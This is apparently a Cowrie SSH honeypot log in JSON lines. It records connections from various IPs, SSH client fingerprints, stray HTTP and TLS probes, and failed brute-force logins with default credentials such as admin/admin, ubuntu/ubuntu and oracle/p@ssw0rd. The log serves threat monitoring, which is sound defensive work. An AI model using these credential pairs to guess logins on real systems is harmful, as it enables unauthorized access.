{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:45:05.729559Z","src_ip":"92.118.39.76","session":"ce2efa03eb9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:45:05.834078Z","src_ip":"92.118.39.76","session":"ce2efa03eb9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:45:06.223897Z","src_ip":"92.118.39.76","session":"ce2efa03eb9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:45:07.330102Z","src_ip":"92.118.39.76","session":"ce2efa03eb9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.246.130.20","src_port":47997,"dst_ip":"10.17.0.5","dst_port":22,"session":"dfef7995e2b9","protocol":"ssh","message":"New connection: 185.246.130.20:47997 (10.17.0.5:22) [session: dfef7995e2b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:46:29.523930Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.4","message":"Remote SSH version: SSH-2.0-libssh_0.11.4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:46:29.876482Z","src_ip":"185.246.130.20","session":"dfef7995e2b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"7d98a1f3b2ced8dc56a19709a6c59fc3","hasshAlgorithms":"diffie-hellman-group-exchange-sha1,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com,zlib","kexAlgs":["diffie-hellman-group-exchange-sha1","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 7d98a1f3b2ced8dc56a19709a6c59fc3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:46:29.983955Z","src_ip":"185.246.130.20","session":"dfef7995e2b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.2.125","src_port":54274,"dst_ip":"159.203.135.109","dst_port":22,"session":"ebcd95e6d438","protocol":"ssh","message":"New connection: 14.225.2.125:54274 (159.203.135.109:22) [session: ebcd95e6d438]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:46:35.372535Z"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:46:35.660767Z","src_ip":"14.225.2.125","session":"ebcd95e6d438","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.2.125","src_port":54288,"dst_ip":"159.203.135.109","dst_port":22,"session":"57e738eb08d2","protocol":"ssh","message":"New connection: 14.225.2.125:54288 (159.203.135.109:22) [session: 57e738eb08d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:46:35.916060Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:46:35.920551Z","src_ip":"14.225.2.125","session":"57e738eb08d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:46:36.181321Z","src_ip":"14.225.2.125","session":"57e738eb08d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ldt","password":"ldt","message":"login attempt [ldt/ldt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:46:36.962094Z","src_ip":"14.225.2.125","session":"57e738eb08d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftpuser","message":"login attempt [ftpuser/ftpuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:46:37.724251Z","src_ip":"185.246.130.20","session":"dfef7995e2b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:46:38.224024Z","src_ip":"14.225.2.125","session":"57e738eb08d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"0","password":"0","message":"login attempt [0/0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:46:39.167869Z","src_ip":"185.246.130.20","session":"dfef7995e2b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"admin","message":"login attempt [admin/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:46:49.372520Z","src_ip":"185.246.130.20","session":"dfef7995e2b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"21.2","message":"Connection lost after 21.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:46:50.683963Z","src_ip":"185.246.130.20","session":"dfef7995e2b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":58626,"dst_ip":"10.17.0.5","dst_port":22,"session":"1a34ed1ee5ff","protocol":"ssh","message":"New connection: 80.94.92.186:58626 (10.17.0.5:22) [session: 1a34ed1ee5ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:47:06.192646Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:47:06.304189Z","src_ip":"80.94.92.186","session":"1a34ed1ee5ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:47:06.455657Z","src_ip":"80.94.92.186","session":"1a34ed1ee5ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:47:07.464933Z","src_ip":"80.94.92.186","session":"1a34ed1ee5ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:47:08.868744Z","src_ip":"80.94.92.186","session":"1a34ed1ee5ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":40230,"dst_ip":"159.203.135.109","dst_port":22,"session":"2c9da5fbc2a7","protocol":"ssh","message":"New connection: 193.32.162.151:40230 (159.203.135.109:22) [session: 2c9da5fbc2a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:47:09.930384Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:47:09.935275Z","src_ip":"193.32.162.151","session":"2c9da5fbc2a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:47:10.034654Z","src_ip":"193.32.162.151","session":"2c9da5fbc2a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oracle","password":"p@ssw0rd","message":"login attempt [oracle/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:47:10.591821Z","src_ip":"193.32.162.151","session":"2c9da5fbc2a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:47:11.698703Z","src_ip":"193.32.162.151","session":"2c9da5fbc2a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":50670,"dst_ip":"159.203.135.109","dst_port":22,"session":"52cceb5a556a","protocol":"ssh","message":"New connection: 195.178.110.218:50670 (159.203.135.109:22) [session: 52cceb5a556a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:47:18.950881Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:47:18.955273Z","src_ip":"195.178.110.218","session":"52cceb5a556a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:47:19.034736Z","src_ip":"195.178.110.218","session":"52cceb5a556a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"12345678","message":"login attempt [sol/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:47:19.273608Z","src_ip":"195.178.110.218","session":"52cceb5a556a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.76","src_port":34544,"dst_ip":"10.17.0.5","dst_port":22,"session":"648104e50cc8","protocol":"ssh","message":"New connection: 92.118.39.76:34544 (10.17.0.5:22) [session: 648104e50cc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:47:19.954284Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:47:19.959574Z","src_ip":"92.118.39.76","session":"648104e50cc8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:47:20.066551Z","src_ip":"92.118.39.76","session":"648104e50cc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:47:20.354872Z","src_ip":"195.178.110.218","session":"52cceb5a556a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:47:20.386144Z","src_ip":"92.118.39.76","session":"648104e50cc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:47:21.493746Z","src_ip":"92.118.39.76","session":"648104e50cc8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.79.181.104","src_port":15012,"dst_ip":"159.203.135.109","dst_port":22,"session":"745512b39294","protocol":"ssh","message":"New connection: 45.79.181.104:15012 (159.203.135.109:22) [session: 745512b39294]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:47:48.983675Z"}
{"eventid":"cowrie.client.version","version":"GET / HTTP/1.1","message":"Remote SSH version: GET / HTTP/1.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:47:48.991828Z","src_ip":"45.79.181.104","session":"745512b39294","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:47:48.995671Z","src_ip":"45.79.181.104","session":"745512b39294","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.79.181.104","src_port":15020,"dst_ip":"159.203.135.109","dst_port":22,"session":"e37a6cb5be0e","protocol":"ssh","message":"New connection: 45.79.181.104:15020 (159.203.135.109:22) [session: e37a6cb5be0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:47:49.001892Z"}
{"eventid":"cowrie.client.version","version":"\u0016\u0003\u0001\u0000{\u0001\u0000\u0000w\u0003\u0003\u0015\\xac\\xf1\u083br\u0018\\x8d\\xa1\\xf8~\\xe8\\xba\\xe8\\xb3\\xe9\\xc8\u001f\\xd2z\u001cM%\u001c0\u001c\\x90n\r\\xde\\xfd\u0000\u0000\u001a\\xc0/\\xc0+\\xc0\u0011\\xc0\u0007\\xc0\u0013\\xc0\t\\xc0\u0014\\xc0","message":"Remote SSH version: \u0016\u0003\u0001\u0000{\u0001\u0000\u0000w\u0003\u0003\u0015\\xac\\xf1\u083br\u0018\\x8d\\xa1\\xf8~\\xe8\\xba\\xe8\\xb3\\xe9\\xc8\u001f\\xd2z\u001cM%\u001c0\u001c\\x90n\r\\xde\\xfd\u0000\u0000\u001a\\xc0/\\xc0+\\xc0\u0011\\xc0\u0007\\xc0\u0013\\xc0\t\\xc0\u0014\\xc0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:47:49.006532Z","src_ip":"45.79.181.104","session":"e37a6cb5be0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:47:49.010793Z","src_ip":"45.79.181.104","session":"e37a6cb5be0e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":56122,"dst_ip":"159.203.135.109","dst_port":22,"session":"80e62723dff7","protocol":"ssh","message":"New connection: 193.32.162.151:56122 (159.203.135.109:22) [session: 80e62723dff7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:49:23.104391Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:49:23.108589Z","src_ip":"193.32.162.151","session":"80e62723dff7","protocol":"ssh"}
